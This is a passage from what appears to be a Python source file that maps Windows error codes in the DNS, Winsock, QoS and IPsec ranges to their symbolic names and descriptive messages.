(\"ERROR_DS_UNDELETE_SAM_VALIDATION_FAILED\", \"The undelete operation failed because the Sam Account Name or Additional Sam Account Name of the object being undeleted conflicts with an existing live object.\"),\n        0x000021c6: (\"ERROR_INCORRECT_ACCOUNT_TYPE\", \"The system is not authoritative for the specified account and therefore cannot complete the operation. Please retry the operation using the provider associated with this account. If this is an online provider please use the provider's online site.\"),\n        0x00002329: (\"DNS_ERROR_RCODE_FORMAT_ERROR\", \"DNS server unable to interpret format.\"),\n        0x0000232a: (\"DNS_ERROR_RCODE_SERVER_FAILURE\", \"DNS server failure.\"),\n        0x0000232b: (\"DNS_ERROR_RCODE_NAME_ERROR\", \"DNS name does not exist.\"),\n        0x0000232c: (\"DNS_ERROR_RCODE_NOT_IMPLEMENTED\", \"DNS request not supported by name server.\"),\n        0x0000232d: (\"DNS_ERROR_RCODE_REFUSED\", \"DNS operation refused.\"),\n        0x0000232e: (\"DNS_ERROR_RCODE_YXDOMAIN\", \"DNS name that ought not exist, does exist.\"),\n        0x0000232f: (\"DNS_ERROR_RCODE_YXRRSET\", \"DNS RR set that ought not exist, does exist.\"),\n        0x00002330: (\"DNS_ERROR_RCODE_NXRRSET\", \"DNS RR set that ought to exist, does not exist.\"),\n        0x00002331: (\"DNS_ERROR_RCODE_NOTAUTH\", \"DNS server not authoritative for zone.\"),\n        0x00002332: (\"DNS_ERROR_RCODE_NOTZONE\", \"DNS name in update or prereq is not in zone.\"),\n        0x00002338: (\"DNS_ERROR_RCODE_BADSIG\", \"DNS signature failed to verify.\"),\n        0x00002339: (\"DNS_ERROR_RCODE_BADKEY\", \"DNS bad key.\"),\n        0x0000233a: (\"DNS_ERROR_RCODE_BADTIME\", \"DNS signature validity expired.\"),\n        0x0000238d: (\"DNS_ERROR_KEYMASTER_REQUIRED\", \"Only the DNS server acting as the key master for the zone may perform this operation.\"),\n        0x0000238e: (\"DNS_ERROR_NOT_ALLOWED_ON_SIGNED_ZONE\", \"This operation is not allowed on a zone that is signed or has signing keys.\"),\n        0x0000238f: (\"DNS_ERROR_NSEC3_INCOMPATIBLE_WITH_RSA_SHA1\", \"NSEC3 is not compatible with the RSA-SHA-1 algorithm. Choose a different algorithm or use NSEC.\"),\n        0x00002390: (\"DNS_ERROR_NOT_ENOUGH_SIGNING_KEY_DESCRIPTORS\", \"The zone does not have enough signing keys. There must be at least one key signing key (KSK) and at least one zone signing key (ZSK).\"),\n        0x00002391: (\"DNS_ERROR_UNSUPPORTED_ALGORITHM\", \"The specified algorithm is not supported.\"),\n        0x00002392: (\"DNS_ERROR_INVALID_KEY_SIZE\", \"The specified key size is not supported.\"),\n        0x00002393: (\"DNS_ERROR_SIGNING_KEY_NOT_ACCESSIBLE\", \"One or more of the signing keys for a zone are not accessible to the DNS server. Zone signing will not be operational until this error is resolved.\"),\n        0x00002394: (\"DNS_ERROR_KSP_DOES_NOT_SUPPORT_PROTECTION\", \"The specified key storage provider does not support DPAPI++ data protection. Zone signing will not be operational until this error is resolved.\"),\n        0x00002395: (\"DNS_ERROR_UNEXPECTED_DATA_PROTECTION_ERROR\", \"An unexpected DPAPI++ error was encountered. Zone signing will not be operational until this error is resolved.\"),\n        0x00002396: (\"DNS_ERROR_UNEXPECTED_CNG_ERROR\", \"An unexpected crypto error was encountered. Zone signing may not be operational until this error is resolved.\"),\n        0x00002397: (\"DNS_ERROR_UNKNOWN_SIGNING_PARAMETER_VERSION\", \"The DNS server encountered a signing key with an unknown version. Zone signing will not be operational until this error is resolved.\"),\n        0x00002398: (\"DNS_ERROR_KSP_NOT_ACCESSIBLE\", \"The specified key service provider cannot be opened by the DNS server.\"),\n        0x00002399: (\"DNS_ERROR_TOO_MANY_SKDS\", \"The DNS server cannot accept any more signing keys with the specified algorithm and KSK flag value for this zone.\"),\n        0x0000239a: (\"DNS_ERROR_INVALID_ROLLOVER_PERIOD\", \"The specified rollover period is invalid.\"),\n        0x0000239b: (\"DNS_ERROR_INVALID_INITIAL_ROLLOVER_OFFSET\", \"The specified initial rollover offset is invalid.\"),\n        0x0000239c: (\"DNS_ERROR_ROLLOVER_IN_PROGRESS\", \"The specified signing key is already in process of rolling over keys.\"),\n        0x0000239d: (\"DNS_ERROR_STANDBY_KEY_NOT_PRESENT\", \"The specified signing key does not have a standby key to revoke.\"),\n        0x0000239e: (\"DNS_ERROR_NOT_ALLOWED_ON_ZSK\", \"This operation is not allowed on a zone signing key (ZSK).\"),\n        0x0000239f: (\"DNS_ERROR_NOT_ALLOWED_ON_ACTIVE_SKD\", \"This operation is not allowed on an active signing key.\"),\n        0x000023a0: (\"DNS_ERROR_ROLLOVER_ALREADY_QUEUED\", \"The specified signing key is already queued for rollover.\"),\n        0x000023a1: (\"DNS_ERROR_NOT_ALLOWED_ON_UNSIGNED_ZONE\", \"This operation is not allowed on an unsigned zone.\"),\n        0x000023a2: (\"DNS_ERROR_BAD_KEYMASTER\", \"This operation could not be completed because the DNS server listed as the current key master for this zone is down or misconfigured. Resolve the problem on the current key master for this zone or use another DNS server to seize the key master role.\"),\n        0x000023a3: (\"DNS_ERROR_INVALID_SIGNATURE_VALIDITY_PERIOD\", \"The specified signature validity period is invalid.\"),\n        0x000023a4: (\"DNS_ERROR_INVALID_NSEC3_ITERATION_COUNT\", \"The specified NSEC3 iteration count is higher than allowed by the minimum key length used in the zone.\"),\n        0x000023a5: (\"DNS_ERROR_DNSSEC_IS_DISABLED\", \"This operation could not be completed because the DNS server has been configured with DNSSEC features disabled. Enable DNSSEC on the DNS server.\"),\n        0x000023a6: (\"DNS_ERROR_INVALID_XML\", \"This operation could not be completed because the XML stream received is empty or syntactically invalid.\"),\n        0x000023a7: (\"DNS_ERROR_NO_VALID_TRUST_ANCHORS\", \"This operation completed, but no trust anchors were added because all of the trust anchors received were either invalid, unsupported, expired, or would not become valid in less than 30 days.\"),\n        0x000023a8: (\"DNS_ERROR_ROLLOVER_NOT_POKEABLE\", \"The specified signing key is not waiting for parental DS update.\"),\n        0x000023a9: (\"DNS_ERROR_NSEC3_NAME_COLLISION\", \"Hash collision detected during NSEC3 signing. Specify a different user-provided salt, or use a randomly generated salt, and attempt to sign the zone again.\"),\n        0x000023aa: (\"DNS_ERROR_NSEC_INCOMPATIBLE_WITH_NSEC3_RSA_SHA1\", \"NSEC is not compatible with the NSEC3-RSA-SHA-1 algorithm. Choose a different algorithm or use NSEC3.\"),\n        0x0000251d: (\"DNS_INFO_NO_RECORDS\", \"No records found for given DNS query.\"),\n        0x0000251e: (\"DNS_ERROR_BAD_PACKET\", \"Bad DNS packet.\"),\n        0x0000251f: (\"DNS_ERROR_NO_PACKET\", \"No DNS packet.\"),\n        0x00002520: (\"DNS_ERROR_RCODE\", \"DNS error, check rcode.\"),\n        0x00002521: (\"DNS_ERROR_UNSECURE_PACKET\", \"Unsecured DNS packet.\"),\n        0x00002522: (\"DNS_REQUEST_PENDING\", \"DNS query request is pending.\"),\n        0x0000254f: (\"DNS_ERROR_INVALID_TYPE\", \"Invalid DNS type.\"),\n        0x00002550: (\"DNS_ERROR_INVALID_IP_ADDRESS\", \"Invalid IP address.\"),\n        0x00002551: (\"DNS_ERROR_INVALID_PROPERTY\", \"Invalid property.\"),\n        0x00002552: (\"DNS_ERROR_TRY_AGAIN_LATER\", \"Try DNS operation again later.\"),\n        0x00002553: (\"DNS_ERROR_NOT_UNIQUE\", \"Record for given name and type is not unique.\"),\n        0x00002554: (\"DNS_ERROR_NON_RFC_NAME\", \"DNS name does not comply with RFC specifications.\"),\n        0x00002555: (\"DNS_STATUS_FQDN\", \"DNS name is a fully-qualified DNS name.\"),\n        0x00002556: (\"DNS_STATUS_DOTTED_NAME\", \"DNS name is dotted (multi-label).\"),\n        0x00002557: (\"DNS_STATUS_SINGLE_PART_NAME\", \"DNS name is a single-part name.\"),\n        0x00002558: (\"DNS_ERROR_INVALID_NAME_CHAR\", \"DNS name contains an invalid character.\"),\n        0x00002559: (\"DNS_ERROR_NUMERIC_NAME\", \"DNS name is entirely numeric.\"),\n        0x0000255a: (\"DNS_ERROR_NOT_ALLOWED_ON_ROOT_SERVER\", \"The operation requested is not permitted on a DNS root server.\"),\n        0x0000255b: (\"DNS_ERROR_NOT_ALLOWED_UNDER_DELEGATION\", \"The record could not be created because this part of the DNS namespace has been delegated to another server.\"),\n        0x0000255c: (\"DNS_ERROR_CANNOT_FIND_ROOT_HINTS\", \"The DNS server could not find a set of root hints.\"),\n        0x0000255d: (\"DNS_ERROR_INCONSISTENT_ROOT_HINTS\", \"The DNS server found root hints but they were not consistent across all adapters.\"),\n        0x0000255e: (\"DNS_ERROR_DWORD_VALUE_TOO_SMALL\", \"The specified value is too small for this parameter.\"),\n        0x0000255f: (\"DNS_ERROR_DWORD_VALUE_TOO_LARGE\", \"The specified value is too large for this parameter.\"),\n        0x00002560: (\"DNS_ERROR_BACKGROUND_LOADING\", \"This operation is not allowed while the DNS server is loading zones in the background. Please try again later.\"),\n        0x00002561: (\"DNS_ERROR_NOT_ALLOWED_ON_RODC\", \"The operation requested is not permitted on against a DNS server running on a read-only DC.\"),\n        0x00002562: (\"DNS_ERROR_NOT_ALLOWED_UNDER_DNAME\", \"No data is allowed to exist underneath a DNAME record.\"),\n        0x00002563: (\"DNS_ERROR_DELEGATION_REQUIRED\", \"This operation requires credentials delegation.\"),\n        0x00002564: (\"DNS_ERROR_INVALID_POLICY_TABLE\", \"Name resolution policy table has been corrupted. DNS resolution will fail until it is fixed. Contact your network administrator.\"),\n        0x00002581: (\"DNS_ERROR_ZONE_DOES_NOT_EXIST\", \"DNS zone does not exist.\"),\n        0x00002582: (\"DNS_ERROR_NO_ZONE_INFO\", \"DNS zone information not available.\"),\n        0x00002583: (\"DNS_ERROR_INVALID_ZONE_OPERATION\", \"Invalid operation for DNS zone.\"),\n        0x00002584: (\"DNS_ERROR_ZONE_CONFIGURATION_ERROR\", \"Invalid DNS zone configuration.\"),\n        0x00002585: (\"DNS_ERROR_ZONE_HAS_NO_SOA_RECORD\", \"DNS zone has no start of authority (SOA) record.\"),\n        0x00002586: (\"DNS_ERROR_ZONE_HAS_NO_NS_RECORDS\", \"DNS zone has no Name Server (NS) record.\"),\n        0x00002587: (\"DNS_ERROR_ZONE_LOCKED\", \"DNS zone is locked.\"),\n        0x00002588: (\"DNS_ERROR_ZONE_CREATION_FAILED\", \"DNS zone creation failed.\"),\n        0x00002589: (\"DNS_ERROR_ZONE_ALREADY_EXISTS\", \"DNS zone already exists.\"),\n        0x0000258a: (\"DNS_ERROR_AUTOZONE_ALREADY_EXISTS\", \"DNS automatic zone already exists.\"),\n        0x0000258b: (\"DNS_ERROR_INVALID_ZONE_TYPE\", \"Invalid DNS zone type.\"),\n        0x0000258c: (\"DNS_ERROR_SECONDARY_REQUIRES_MASTER_IP\", \"Secondary DNS zone requires master IP address.\"),\n        0x0000258d: (\"DNS_ERROR_ZONE_NOT_SECONDARY\", \"DNS zone not secondary.\"),\n        0x0000258e: (\"DNS_ERROR_NEED_SECONDARY_ADDRESSES\", \"Need secondary IP address.\"),\n        0x0000258f: (\"DNS_ERROR_WINS_INIT_FAILED\", \"WINS initialization failed.\"),\n        0x00002590: (\"DNS_ERROR_NEED_WINS_SERVERS\", \"Need WINS servers.\"),\n        0x00002591: (\"DNS_ERROR_NBSTAT_INIT_FAILED\", \"NBTSTAT initialization call failed.\"),\n        0x00002592: (\"DNS_ERROR_SOA_DELETE_INVALID\", \"Invalid delete of start of authority (SOA)\"),\n        0x00002593: (\"DNS_ERROR_FORWARDER_ALREADY_EXISTS\", \"A conditional forwarding zone already exists for that name.\"),\n        0x00002594: (\"DNS_ERROR_ZONE_REQUIRES_MASTER_IP\", \"This zone must be configured with one or more master DNS server IP addresses.\"),\n        0x00002595: (\"DNS_ERROR_ZONE_IS_SHUTDOWN\", \"The operation cannot be performed because this zone is shut down.\"),\n        0x00002596: (\"DNS_ERROR_ZONE_LOCKED_FOR_SIGNING\", \"This operation cannot be performed because the zone is currently being signed. Please try again later.\"),\n        0x000025b3: (\"DNS_ERROR_PRIMARY_REQUIRES_DATAFILE\", \"Primary DNS zone requires datafile.\"),\n        0x000025b4: (\"DNS_ERROR_INVALID_DATAFILE_NAME\", \"Invalid datafile name for DNS zone.\"),\n        0x000025b5: (\"DNS_ERROR_DATAFILE_OPEN_FAILURE\", \"Failed to open datafile for DNS zone.\"),\n        0x000025b6: (\"DNS_ERROR_FILE_WRITEBACK_FAILED\", \"Failed to write datafile for DNS zone.\"),\n        0x000025b7: (\"DNS_ERROR_DATAFILE_PARSING\", \"Failure while reading datafile for DNS zone.\"),\n        0x000025e5: (\"DNS_ERROR_RECORD_DOES_NOT_EXIST\", \"DNS record does not exist.\"),\n        0x000025e6: (\"DNS_ERROR_RECORD_FORMAT\", \"DNS record format error.\"),\n        0x000025e7: (\"DNS_ERROR_NODE_CREATION_FAILED\", \"Node creation failure in DNS.\"),\n        0x000025e8: (\"DNS_ERROR_UNKNOWN_RECORD_TYPE\", \"Unknown DNS record type.\"),\n        0x000025e9: (\"DNS_ERROR_RECORD_TIMED_OUT\", \"DNS record timed out.\"),\n        0x000025ea: (\"DNS_ERROR_NAME_NOT_IN_ZONE\", \"Name not in DNS zone.\"),\n        0x000025eb: (\"DNS_ERROR_CNAME_LOOP\", \"CNAME loop detected.\"),\n        0x000025ec: (\"DNS_ERROR_NODE_IS_CNAME\", \"Node is a CNAME DNS record.\"),\n        0x000025ed: (\"DNS_ERROR_CNAME_COLLISION\", \"A CNAME record already exists for given name.\"),\n        0x000025ee: (\"DNS_ERROR_RECORD_ONLY_AT_ZONE_ROOT\", \"Record only at DNS zone root.\"),\n        0x000025ef: (\"DNS_ERROR_RECORD_ALREADY_EXISTS\", \"DNS record already exists.\"),\n        0x000025f0: (\"DNS_ERROR_SECONDARY_DATA\", \"Secondary DNS zone data error.\"),\n        0x000025f1: (\"DNS_ERROR_NO_CREATE_CACHE_DATA\", \"Could not create DNS cache data.\"),\n        0x000025f2: (\"DNS_ERROR_NAME_DOES_NOT_EXIST\", \"DNS name does not exist.\"),\n        0x000025f3: (\"DNS_WARNING_PTR_CREATE_FAILED\", \"Could not create pointer (PTR) record.\"),\n        0x000025f4: (\"DNS_WARNING_DOMAIN_UNDELETED\", \"DNS domain was undeleted.\"),\n        0x000025f5: (\"DNS_ERROR_DS_UNAVAILABLE\", \"The directory service is unavailable.\"),\n        0x000025f6: (\"DNS_ERROR_DS_ZONE_ALREADY_EXISTS\", \"DNS zone already exists in the directory service.\"),\n        0x000025f7: (\"DNS_ERROR_NO_BOOTFILE_IF_DS_ZONE\", \"DNS server not creating or reading the boot file for the directory service integrated DNS zone.\"),\n        0x000025f8: (\"DNS_ERROR_NODE_IS_DNAME\", \"Node is a DNAME DNS record.\"),\n        0x000025f9: (\"DNS_ERROR_DNAME_COLLISION\", \"A DNAME record already exists for given name.\"),\n        0x000025fa: (\"DNS_ERROR_ALIAS_LOOP\", \"An alias loop has been detected with either CNAME or DNAME records.\"),\n        0x00002617: (\"DNS_INFO_AXFR_COMPLETE\", \"DNS AXFR (zone transfer) complete.\"),\n        0x00002618: (\"DNS_ERROR_AXFR\", \"DNS zone transfer failed.\"),\n        0x00002619: (\"DNS_INFO_ADDED_LOCAL_WINS\", \"Added local WINS server.\"),\n        0x00002649: (\"DNS_STATUS_CONTINUE_NEEDED\", \"Secure update call needs to continue update request.\"),\n        0x0000267b: (\"DNS_ERROR_NO_TCPIP\", \"TCP/IP network protocol not installed.\"),\n        0x0000267c: (\"DNS_ERROR_NO_DNS_SERVERS\", \"No DNS servers configured for local system.\"),\n        0x000026ad: (\"DNS_ERROR_DP_DOES_NOT_EXIST\", \"The specified directory partition does not exist.\"),\n        0x000026ae: (\"DNS_ERROR_DP_ALREADY_EXISTS\", \"The specified directory partition already exists.\"),\n        0x000026af: (\"DNS_ERROR_DP_NOT_ENLISTED\", \"This DNS server is not enlisted in the specified directory partition.\"),\n        0x000026b0: (\"DNS_ERROR_DP_ALREADY_ENLISTED\", \"This DNS server is already enlisted in the specified directory partition.\"),\n        0x000026b1: (\"DNS_ERROR_DP_NOT_AVAILABLE\", \"The directory partition is not available at this time. Please wait a few minutes and try again.\"),\n        0x000026b2: (\"DNS_ERROR_DP_FSMO_ERROR\", \"The operation failed because the domain naming master FSMO role could not be reached. The domain controller holding the domain naming master FSMO role is down or unable to service the request or is not running Windows Server 2003 or later.\"),\n        0x00002714: (\"WSAEINTR\", \"A blocking operation was interrupted by a call to WSACancelBlockingCall.\"),\n        0x00002719: (\"WSAEBADF\", \"The file handle supplied is not valid.\"),\n        0x0000271d: (\"WSAEACCES\", \"An attempt was made to access a socket in a way forbidden by its access permissions.\"),\n        0x0000271e: (\"WSAEFAULT\", \"The system detected an invalid pointer address in attempting to use a pointer argument in a call.\"),\n        0x00002726: (\"WSAEINVAL\", \"An invalid argument was supplied.\"),\n        0x00002728: (\"WSAEMFILE\", \"Too many open sockets.\"),\n        0x00002733: (\"WSAEWOULDBLOCK\", \"A non-blocking socket operation could not be completed immediately.\"),\n        0x00002734: (\"WSAEINPROGRESS\", \"A blocking operation is currently executing.\"),\n        0x00002735: (\"WSAEALREADY\", \"An operation was attempted on a non-blocking socket that already had an operation in progress.\"),\n        0x00002736: (\"WSAENOTSOCK\", \"An operation was attempted on something that is not a socket.\"),\n        0x00002737: (\"WSAEDESTADDRREQ\", \"A required address was omitted from an operation on a socket.\"),\n        0x00002738: (\"WSAEMSGSIZE\", \"A message sent on a datagram socket was larger than the internal message buffer or some other network limit, or the buffer used to receive a datagram into was smaller than the datagram itself.\"),\n        0x00002739: (\"WSAEPROTOTYPE\", \"A protocol was specified in the socket function call that does not support the semantics of the socket type requested.\"),\n        0x0000273a: (\"WSAENOPROTOOPT\", \"An unknown, invalid, or unsupported option or level was specified in a getsockopt or setsockopt call.\"),\n        0x0000273b: (\"WSAEPROTONOSUPPORT\", \"The requested protocol has not been configured into the system, or no implementation for it exists.\"),\n        0x0000273c: (\"WSAESOCKTNOSUPPORT\", \"The support for the specified socket type does not exist in this address family.\"),\n        0x0000273d: (\"WSAEOPNOTSUPP\", \"The attempted operation is not supported for the type of object referenced.\"),\n        0x0000273e: (\"WSAEPFNOSUPPORT\", \"The protocol family has not been configured into the system or no implementation for it exists.\"),\n        0x0000273f: (\"WSAEAFNOSUPPORT\", \"An address incompatible with the requested protocol was used.\"),\n        0x00002740: (\"WSAEADDRINUSE\", \"Only one usage of each socket address (protocol/network address/port) is normally permitted.\"),\n        0x00002741: (\"WSAEADDRNOTAVAIL\", \"The requested address is not valid in its context.\"),\n        0x00002742: (\"WSAENETDOWN\", \"A socket operation encountered a dead network.\"),\n        0x00002743: (\"WSAENETUNREACH\", \"A socket operation was attempted to an unreachable network.\"),\n        0x00002744: (\"WSAENETRESET\", \"The connection has been broken due to keep-alive activity detecting a failure while the operation was in progress.\"),\n        0x00002745: (\"WSAECONNABORTED\", \"An established connection was aborted by the software in your host machine.\"),\n        0x00002746: (\"WSAECONNRESET\", \"An existing connection was forcibly closed by the remote host.\"),\n        0x00002747: (\"WSAENOBUFS\", \"An operation on a socket could not be performed because the system lacked sufficient buffer space or because a queue was full.\"),\n        0x00002748: (\"WSAEISCONN\", \"A connect request was made on an already connected socket.\"),\n        0x00002749: (\"WSAENOTCONN\", \"A request to send or receive data was disallowed because the socket is not connected and (when sending on a datagram socket using a sendto call) no address was supplied.\"),\n        0x0000274a: (\"WSAESHUTDOWN\", \"A request to send or receive data was disallowed because the socket had already been shut down in that direction with a previous shutdown call.\"),\n        0x0000274b: (\"WSAETOOMANYREFS\", \"Too many references to some kernel object.\"),\n        0x0000274c: (\"WSAETIMEDOUT\", \"A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\"),\n        0x0000274d: (\"WSAECONNREFUSED\", \"No connection could be made because the target machine actively refused it.\"),\n        0x0000274e: (\"WSAELOOP\", \"Cannot translate name.\"),\n        0x0000274f: (\"WSAENAMETOOLONG\", \"Name component or name was too long.\"),\n        0x00002750: (\"WSAEHOSTDOWN\", \"A socket operation failed because the destination host was down.\"),\n        0x00002751: (\"WSAEHOSTUNREACH\", \"A socket operation was attempted to an unreachable host.\"),\n        0x00002752: (\"WSAENOTEMPTY\", \"Cannot remove a directory that is not empty.\"),\n        0x00002753: (\"WSAEPROCLIM\", \"A Windows Sockets implementation may have a limit on the number of applications that may use it simultaneously.\"),\n        0x00002754: (\"WSAEUSERS\", \"Ran out of quota.\"),\n        0x00002755: (\"WSAEDQUOT\", \"Ran out of disk quota.\"),\n        0x00002756: (\"WSAESTALE\", \"File handle reference is no longer available.\"),\n        0x00002757: (\"WSAEREMOTE\", \"Item is not available locally.\"),\n        0x0000276b: (\"WSASYSNOTREADY\", \"WSAStartup cannot function at this time because the underlying system it uses to provide network services is currently unavailable.\"),\n        0x0000276c: (\"WSAVERNOTSUPPORTED\", \"The Windows Sockets version requested is not supported.\"),\n        0x0000276d: (\"WSANOTINITIALISED\", \"Either the application has not called WSAStartup, or WSAStartup failed.\"),\n        0x00002775: (\"WSAEDISCON\", \"Returned by WSARecv or WSARecvFrom to indicate the remote party has initiated a graceful shutdown sequence.\"),\n        0x00002776: (\"WSAENOMORE\", \"No more results can be returned by WSALookupServiceNext.\"),\n        0x00002777: (\"WSAECANCELLED\", \"A call to WSALookupServiceEnd was made while this call was still processing. The call has been canceled.\"),\n        0x00002778: (\"WSAEINVALIDPROCTABLE\", \"The procedure call table is invalid.\"),\n        0x00002779: (\"WSAEINVALIDPROVIDER\", \"The requested service provider is invalid.\"),\n        0x0000277a: (\"WSAEPROVIDERFAILEDINIT\", \"The requested service provider could not be loaded or initialized.\"),\n        0x0000277b: (\"WSASYSCALLFAILURE\", \"A system call has failed.\"),\n        0x0000277c: (\"WSASERVICE_NOT_FOUND\", \"No such service is known. The service cannot be found in the specified name space.\"),\n        0x0000277d: (\"WSATYPE_NOT_FOUND\", \"The specified class was not found.\"),\n        0x0000277e: (\"WSA_E_NO_MORE\", \"No more results can be returned by WSALookupServiceNext.\"),\n        0x0000277f: (\"WSA_E_CANCELLED\", \"A call to WSALookupServiceEnd was made while this call was still processing. The call has been canceled.\"),\n        0x00002780: (\"WSAEREFUSED\", \"A database query failed because it was actively refused.\"),\n        0x00002af9: (\"WSAHOST_NOT_FOUND\", \"No such host is known.\"),\n        0x00002afa: (\"WSATRY_AGAIN\", \"This is usually a temporary error during hostname resolution and means that the local server did not receive a response from an authoritative server.\"),\n        0x00002afb: (\"WSANO_RECOVERY\", \"A non-recoverable error occurred during a database lookup.\"),\n        0x00002afc: (\"WSANO_DATA\", \"The requested name is valid, but no data of the requested type was found.\"),\n        0x00002afd: (\"WSA_QOS_RECEIVERS\", \"At least one reserve has arrived.\"),\n        0x00002afe: (\"WSA_QOS_SENDERS\", \"At least one path has arrived.\"),\n        0x00002aff: (\"WSA_QOS_NO_SENDERS\", \"There are no senders.\"),\n        0x00002b00: (\"WSA_QOS_NO_RECEIVERS\", \"There are no receivers.\"),\n        0x00002b01: (\"WSA_QOS_REQUEST_CONFIRMED\", \"Reserve has been confirmed.\"),\n        0x00002b02: (\"WSA_QOS_ADMISSION_FAILURE\", \"Error due to lack of resources.\"),\n        0x00002b03: (\"WSA_QOS_POLICY_FAILURE\", \"Rejected for administrative reasons - bad credentials.\"),\n        0x00002b04: (\"WSA_QOS_BAD_STYLE\", \"Unknown or conflicting style.\"),\n        0x00002b05: (\"WSA_QOS_BAD_OBJECT\", \"Problem with some part of the filterspec or providerspecific buffer in general.\"),\n        0x00002b06: (\"WSA_QOS_TRAFFIC_CTRL_ERROR\", \"Problem with some part of the flowspec.\"),\n        0x00002b07: (\"WSA_QOS_GENERIC_ERROR\", \"General QOS error.\"),\n        0x00002b08: (\"WSA_QOS_ESERVICETYPE\", \"An invalid or unrecognized service type was found in the flowspec.\"),\n        0x00002b09: (\"WSA_QOS_EFLOWSPEC\", \"An invalid or inconsistent flowspec was found in the QOS structure.\"),\n        0x00002b0a: (\"WSA_QOS_EPROVSPECBUF\", \"Invalid QOS provider-specific buffer.\"),\n        0x00002b0b: (\"WSA_QOS_EFILTERSTYLE\", \"An invalid QOS filter style was used.\"),\n        0x00002b0c: (\"WSA_QOS_EFILTERTYPE\", \"An invalid QOS filter type was used.\"),\n        0x00002b0d: (\"WSA_QOS_EFILTERCOUNT\", \"An incorrect number of QOS FILTERSPECs were specified in the FLOWDESCRIPTOR.\"),\n        0x00002b0e: (\"WSA_QOS_EOBJLENGTH\", \"An object with an invalid ObjectLength field was specified in the QOS provider-specific buffer.\"),\n        0x00002b0f: (\"WSA_QOS_EFLOWCOUNT\", \"An incorrect number of flow descriptors was specified in the QOS structure.\"),\n        0x00002b10: (\"WSA_QOS_EUNKOWNPSOBJ\", \"An unrecognized object was found in the QOS provider-specific buffer.\"),\n        0x00002b11: (\"WSA_QOS_EPOLICYOBJ\", \"An invalid policy object was found in the QOS provider-specific buffer.\"),\n        0x00002b12: (\"WSA_QOS_EFLOWDESC\", \"An invalid QOS flow descriptor was found in the flow descriptor list.\"),\n        0x00002b13: (\"WSA_QOS_EPSFLOWSPEC\", \"An invalid or inconsistent flowspec was found in the QOS provider specific buffer.\"),\n        0x00002b14: (\"WSA_QOS_EPSFILTERSPEC\", \"An invalid FILTERSPEC was found in the QOS provider-specific buffer.\"),\n        0x00002b15: (\"WSA_QOS_ESDMODEOBJ\", \"An invalid shape discard mode object was found in the QOS provider specific buffer.\"),\n        0x00002b16: (\"WSA_QOS_ESHAPERATEOBJ\", \"An invalid shaping rate object was found in the QOS provider-specific buffer.\"),\n        0x00002b17: (\"WSA_QOS_RESERVED_PETYPE\", \"A reserved policy element was found in the QOS provider-specific buffer.\"),\n        0x00002b18: (\"WSA_SECURE_HOST_NOT_FOUND\", \"No such host is known securely.\"),\n        0x00002b19: (\"WSA_IPSEC_NAME_POLICY_ERROR\", \"Name based IPSEC policy could not be added.\"),\n        0x000032c8: (\"ERROR_IPSEC_QM_POLICY_EXISTS\", \"The specified quick mode policy already exists.\"),\n        0x000032c9: (\"ERROR_IPSEC_QM_POLICY_NOT_FOUND\", \"The specified quick mode policy was not found.\"),\n        0x000032ca: (\"ERROR_IPSEC_QM_POLICY_IN_USE\", \"The specified quick mode policy is being used.\"),\n        0x000032cb: (\"ERROR_IPSEC_MM_POLICY_EXISTS\", \"The specified main mode policy already exists.\"),\n        0x000032cc: (\"ERROR_IPSEC_MM_POLICY_NOT_FOUND\", \"The specified main mode policy was not found\"),\n        0x000032cd: (\"ERROR_IPSEC_MM_POLICY_IN_USE\", \"The specified main mode policy is being used.\"),\n        0x000032ce: (\"ERROR_IPSEC_MM_FILTER_EXISTS\", \"The specified main mode filter already exists.\"),\n        0x000032cf: (\"ERROR_IPSEC_MM_FILTER_NOT_FOUND\", \"The specified main mode filter was not found.\"),\n        0x000032d0: (\"ERROR_IPSEC_TRANSPORT_FILTER_EXISTS\", \"The specified transport mode filter already exists.\"),\n        0x000032d1: (\"ERROR_IPSEC_TRANSPORT_FILTER_NOT_FOUND\", \"The specified transport mode filter does not exist.\"),\n        0x000032d2: (\"ERROR_IPSEC_MM_AUTH_EXISTS\", \"The specified main mode authentication list exists.\"),\n        0x000032d3: (\"ERROR_IPSEC_MM_AUTH_NOT_FOUND\", \"The specified main mode authentication list was not found.\"),\n        0x000032d4: (\"ERROR_IPSEC_MM_AUTH_IN_USE\", \"The specified main mode authentication list is being used.\"),\n        0x000032d5: (\"ERROR_IPSEC_DEFAULT_MM_POLICY_NOT_FOUND\", \"The specified default main mode policy was not found.\"),\n        0x000032d6: (\"ERROR_IPSEC_DEFAULT_MM_AUTH_NOT_FOUND\", \"The specified default main mode authentication list was not found.\"),\n        0x000032d7: (\"ERROR_IPSEC_DEFAULT_QM_POLICY_NOT_FOUND\", \"The specified default quick mode policy was not found.\"),\n        0x000032d8: (\"ERROR_IPSEC_TUNNEL_FILTER_EXISTS\", \"The specified tunnel mode filter exists.\"),\n        0x000032d9: (\"ERROR_IPSEC_TUNNEL_FILTER_NOT_FOUND\", \"The specified tunnel mode filter was not found.\"),\n        0x000032da: (\"ERROR_IPSEC_MM_FILTER_PENDING_DELETION\", \"The Main Mode filter is pending deletion.\"),\n        0x000032db: (\"ERROR_IPSEC_TRANSPORT_FILTER_PENDING_DELETION\", \"The transport filter is pending deletion.\"),\n        0x000032dc: (\"ERROR_IPSEC_TUNNEL_FILTER_PENDING_DELETION\", \"The tunnel filter is pending deletion.\"),\n        0x000032dd: (\"ERROR_IPSEC_MM_POLICY_PENDING_DELETION\", \"The Main Mode policy is pending deletion.\"),\n        0x000032de: (\"ERROR_IPSEC_MM_AUTH_PENDING_DELETION\", \"The Main Mode authentication bundle is pending deletion.\"),\n        0x000032df: (\"ERROR_IPSEC_QM_POLICY_PENDING_DELETION\", \"The Quick Mode policy is pending deletion.\"),\n        0x000032e0: (\"WARNING_IPSEC_MM_POLICY_PRUNED\", \"The Main Mode policy was successfully added, but some of the requested offers are not supported.\"),\n        0x000032e1: (\"WARNING_IPSEC_QM_POLICY_PRUNED\", \"The Quick Mode policy was successfully added, but some of the requested offers are not supported.\"),\n        0x000035e8: (\"ERROR_IPSEC_IKE_NEG_STATUS_BEGIN\", \" ERROR_IPSEC_IKE_NEG_STATUS_BEGIN\"),\n        0x000035e9: (\"ERROR_IPSEC_IKE_AUTH_FAIL\", \"IKE authentication credentials are unacceptable\"),\n        0x000035ea: (\"ERROR_IPSEC_IKE_ATTRIB_FAIL\", \"IKE security attributes are unacceptable\"),\n        0x000035eb: (\"ERROR_IPSEC_IKE_NEGOTIATION_PENDING\", \"IKE Negotiation in progress\"),\n        0x000035ec: 